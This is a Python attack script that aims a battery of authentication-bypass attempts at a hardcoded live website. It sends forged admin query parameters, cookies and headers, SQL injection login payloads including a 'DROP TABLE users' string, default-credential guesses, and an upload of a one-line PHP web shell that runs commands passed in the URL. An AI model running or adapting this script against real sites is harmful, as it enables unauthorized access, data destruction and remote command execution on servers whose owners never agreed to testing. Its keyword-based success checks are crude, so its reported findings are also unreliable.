#!/usr/bin/env python3
import requests
import time
from urllib.parse import urljoin

class AuthBypassExploit:
    def __init__(self, target_url):
        self.target_url = target_url
        self.auth_url = target_url + "auth"
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Content-Type': 'application/x-www-form-urlencoded'
        })
        self.vulnerabilities_found = []
        
    def log_vulnerability(self, technique, description, evidence):
        self.vulnerabilities_found.append({
            'technique': technique,
            'description': description,
            'evidence': evidence,
            'timestamp': time.strftime('%Y-%m-%d %H:%M:%S')
        })
        print(f"🚨 VULNERABILITY FOUND: {technique}")
        print(f"   Description: {description}")
        print(f"   Evidence: {evidence}")
        
    def test_auth_page_access(self):
        print("1. Testing Auth Page Accessibility...")
        print("=" * 50)
        
        try:
            response = self.session.get(self.auth_url, timeout=10)
            print(f"   Status Code: {response.status_code}")
            print(f"   Content Length: {len(response.text)} bytes")
            
            if response.status_code == 200:
                print("   ✅ Auth page is accessible")
                
                # Check for authentication indicators
                auth_keywords = ['login', 'signin', 'username', 'password', 'auth', 'credential']
                found_keywords = []
                
                for keyword in auth_keywords:
                    if keyword in response.text.lower():
                        found_keywords.append(keyword)
                
                if found_keywords:
                    print(f"   📋 Auth keywords found: {found_keywords}")
                else:
                    print("   ⚠️  No auth keywords found - might be bypassed")
                    
                return True
            else:
                print("   ❌ Auth page not accessible")
                return False
                
        except Exception as e:
            print(f"   ❌ Error accessing auth page: {e}")
            return False
    
    def test_parameter_bypass(self):
        print("\n2. Testing Parameter-Based Bypass...")
        print("=" * 50)
        
        bypass_params = [
            '?admin=true&bypass=1',
            '?user=admin&access=granted',
            '?debug=true&admin=1',
            '?skip_auth=1&role=admin',
            '?token=admin&verify=skip',
            '?authenticated=true&level=admin',
            '?session=admin&valid=1',
            '?login=bypass&password=admin',
            '?auth=admin&bypass_login=1',
            '?force_admin=1&skip_verification=1'
        ]
        
        for param in bypass_params:
            try:
                print(f"\n   Testing: {param}")
                test_url = self.auth_url + param
                response = self.session.get(test_url, timeout=10)
                
                print(f"     Status: {response.status_code}")
                print(f"     Length: {len(response.text)}")
                
                # Check for admin/dashboard indicators
                admin_indicators = ['dashboard', 'admin', 'welcome', 'panel', 'management']
                found_admin = []
                
                for indicator in admin_indicators:
                    if indicator in response.text.lower():
                        found_admin.append(indicator)
                
                if found_admin:
                    self.log_vulnerability(
                        "Parameter Bypass",
                        f"Admin access via parameter: {param}",
                        f"Admin indicators found: {found_admin}"
                    )
                    
            except Exception as e:
                print(f"     ❌ Error: {e}")
    
    def test_cookie_bypass(self):
        print("\n3. Testing Cookie-Based Bypass...")
        print("=" * 50)
        
        admin_cookies = [
            {'admin': 'true', 'user': 'admin', 'authenticated': '1'},
            {'session': 'admin_session', 'auth_level': 'admin', 'verified': '1'},
            {'user_id': '1', 'is_admin': '1', 'privilege': 'high'},
            {'access_token': 'admin_token', 'role': 'administrator', 'valid': 'true'},
            {'login': 'bypassed', 'admin_access': 'granted', 'session_valid': '1'},
            {'auth': 'admin', 'bypass': 'true', 'level': 'admin'},
            {'username': 'admin', 'password': 'bypass', 'authenticated': 'admin'},
            {'superuser': '1', 'admin_override': 'true', 'access_granted': '1'},
            {'debug_admin': 'enabled', 'test_mode': 'admin', 'bypass_auth': '1'},
            {'force_login': 'admin', 'skip_validation': 'true', 'admin_privilege': 'unlimited'}
        ]
        
        for i, cookies in enumerate(admin_cookies):
            try:
                print(f"\n   Testing Cookie Set {i+1}: {cookies}")
                
                response = self.session.get(
                    self.auth_url,
                    cookies=cookies,
                    timeout=10
                )
                
                print(f"     Status: {response.status_code}")
                print(f"     Length: {len(response.text)}")
                
                # Check for successful admin access
                success_indicators = ['dashboard', 'admin panel', 'welcome admin', 'management console']
                found_success = []
                
                for indicator in success_indicators:
                    if indicator in response.text.lower():
                        found_success.append(indicator)
                
                if found_success:
                    self.log_vulnerability(
                        "Cookie Bypass",
                        f"Admin access via cookies: {cookies}",
                        f"Success indicators: {found_success}"
                    )
                    
            except Exception as e:
                print(f"     ❌ Error: {e}")
    
    def test_sql_injection_bypass(self):
        print("\n4. Testing SQL Injection Bypass...")
        print("=" * 50)
        
        sql_payloads = [
            {'username': "admin'--", 'password': ''},
            {'username': "' OR '1'='1", 'password': "' OR '1'='1"},
            {'username': "admin'/*", 'password': ''},
            {'username': "' OR 1=1#", 'password': ''},
            {'username': "admin' AND 1=1--", 'password': ''},
            {'username': "' UNION SELECT 'admin'--", 'password': ''},
            {'username': "admin' OR 'x'='x", 'password': "admin' OR 'x'='x"},
            {'username': "' OR username='admin", 'password': "' OR password='admin"},
            {'username': "admin'; DROP TABLE users--", 'password': ''},
            {'username': "' OR id=1--", 'password': "' OR id=1--"}
        ]
        
        login_endpoints = ['/auth', '/auth/login', '/login', '/signin']
        
        for endpoint in login_endpoints:
            print(f"\n   Testing SQLi on endpoint: {endpoint}")
            
            for i, payload in enumerate(sql_payloads):
                try:
                    print(f"     Payload {i+1}: {payload}")
                    
                    response = self.session.post(
                        self.target_url + endpoint.lstrip('/'),
                        data=payload,
                        timeout=10,
                        allow_redirects=True
                    )
                    
                    # Check for successful login
                    if response.url != self.target_url + endpoint.lstrip('/'):
                        print(f"       🚨 URL Redirect detected: {response.url}")
                        
                    # Check for admin content
                    admin_content = ['dashboard', 'admin', 'welcome', 'panel']
                    found_admin = [content for content in admin_content if content in response.text.lower()]
                    
                    if found_admin:
                        self.log_vulnerability(
                            "SQL Injection Bypass",
                            f"Admin access via SQLi on {endpoint}",
                            f"Payload: {payload}, Admin content: {found_admin}"
                        )
                        
                except Exception as e:
                    print(f"       ❌ Error: {e}")
    
    def test_header_bypass(self):
        print("\n5. Testing Header-Based Bypass...")
        print("=" * 50)
        
        bypass_headers = [
            {'X-Admin': 'true', 'X-Auth': 'admin', 'X-Override': '1'},
            {'Authorization': 'Bearer admin_token', 'X-Role': 'admin', 'X-Privilege': 'high'},
            {'X-Forwarded-For': '127.0.0.1', 'X-Admin-IP': 'allowed', 'X-Bypass': 'true'},
            {'User-Agent': 'AdminBot/1.0', 'X-Login': 'bypass', 'X-Access': 'admin'},
            {'X-Debug': 'admin_mode', 'X-Test': 'bypass_auth', 'X-Skip': 'validation'}
        ]
        
        for i, headers in enumerate(bypass_headers):
            try:
                print(f"\n   Testing Header Set {i+1}: {headers}")
                
                test_session = requests.Session()
                test_session.headers.update(headers)
                
                response = test_session.get(self.auth_url, timeout=10)
                
                print(f"     Status: {response.status_code}")
                print(f"     Length: {len(response.text)}")
                
                # Check for admin access
                if 'admin' in response.text.lower() or 'dashboard' in response.text.lower():
                    self.log_vulnerability(
                        "Header Bypass",
                        f"Admin access via headers: {headers}",
                        "Admin content detected in response"
                    )
                    
            except Exception as e:
                print(f"     ❌ Error: {e}")
    
    def test_file_upload_bypass(self):
        print("\n6. Testing File Upload Bypass...")
        print("=" * 50)
        
        # Test for file upload functionality
        try:
            response = self.session.get(self.auth_url, timeout=10)
            
            if 'upload' in response.text.lower() or 'file' in response.text.lower():
                print("   📁 File upload functionality detected")
                
                # Test malicious file uploads
                malicious_files = [
                    ('admin.php', '<?php system($_GET["cmd"]); ?>'),
                    ('bypass.txt', 'admin:true\npassword:bypass'),
                    ('config.json', '{"admin": true, "access": "unlimited"}'),
                    ('session.dat', 'user_id=1;is_admin=1;privilege=high')
                ]
                
                for filename, content in malicious_files:
                    try:
                        files = {'file': (filename, content, 'text/plain')}
                        response = self.session.post(
                            self.auth_url,
                            files=files,
                            timeout=10
                        )
                        
                        if 'success' in response.text.lower() or response.status_code == 200:
                            self.log_vulnerability(
                                "File Upload Bypass",
                                f"Malicious file upload: {filename}",
                                f"Upload successful with {filename}"
                            )
                            
                    except Exception as e:
                        print(f"     ❌ Upload error: {e}")
            else:
                print("   ✅ No file upload functionality detected")
                
        except Exception as e:
            print(f"   ❌ Error testing file upload: {e}")
    
    def test_timing_attack(self):
        print("\n7. Testing Timing Attack...")
        print("=" * 50)
        
        # Test for timing-based authentication bypass
        test_credentials = [
            ('admin', 'admin'),
            ('admin', 'password'),
            ('test', 'test'),
            ('root', 'root'),
            ('', ''),
            ('admin', ''),
            ('', 'admin')
        ]
        
        for username, password in test_credentials:
            try:
                print(f"\n   Testing credentials: {username}:{password}")
                
                start_time = time.time()
                response = self.session.post(
                    self.auth_url,
                    data={'username': username, 'password': password},
                    timeout=10
                )
                end_time = time.time()
                
                response_time = end_time - start_time
                print(f"     Response time: {response_time:.3f} seconds")
                print(f"     Status: {response.status_code}")
                
                # Check for timing differences that might indicate bypass
                if response_time < 0.1 and response.status_code == 200:
                    print("     🚨 Suspiciously fast response - possible bypass")
                    
                # Check for admin content
                if 'admin' in response.text.lower() or 'dashboard' in response.text.lower():
                    self.log_vulnerability(
                        "Timing Attack Bypass",
                        f"Fast admin access with {username}:{password}",
                        f"Response time: {response_time:.3f}s"
                    )
                    
            except Exception as e:
                print(f"     ❌ Error: {e}")
    
    def exploit(self):
        print("🚀 AUTH PAGE BYPASS EXPLOITATION STARTED")
        print("=" * 60)
        print(f"Target: {self.auth_url}")
        print("=" * 60)
        
        # Run all bypass tests
        self.test_auth_page_access()
        self.test_parameter_bypass()
        self.test_cookie_bypass()
        self.test_sql_injection_bypass()
        self.test_header_bypass()
        self.test_file_upload_bypass()
        self.test_timing_attack()
        
        print("\n" + "=" * 60)
        print("🎯 EXPLOITATION COMPLETE")
        print("=" * 60)
        
        if self.vulnerabilities_found:
            print(f"\n🚨 FOUND {len(self.vulnerabilities_found)} VULNERABILITIES!")
            print("\nVulnerability Summary:")
            for i, vuln in enumerate(self.vulnerabilities_found, 1):
                print(f"\n{i}. {vuln['technique']}")
                print(f"   Description: {vuln['description']}")
                print(f"   Evidence: {vuln['evidence']}")
                print(f"   Timestamp: {vuln['timestamp']}")
        else:
            print("\n❌ No vulnerabilities found during exploitation")
            
        return self.vulnerabilities_found

if __name__ == "__main__":
    target = "https://uplinkai.in/"
    exploit = AuthBypassExploit(target)
    vulnerabilities = exploit.exploit()
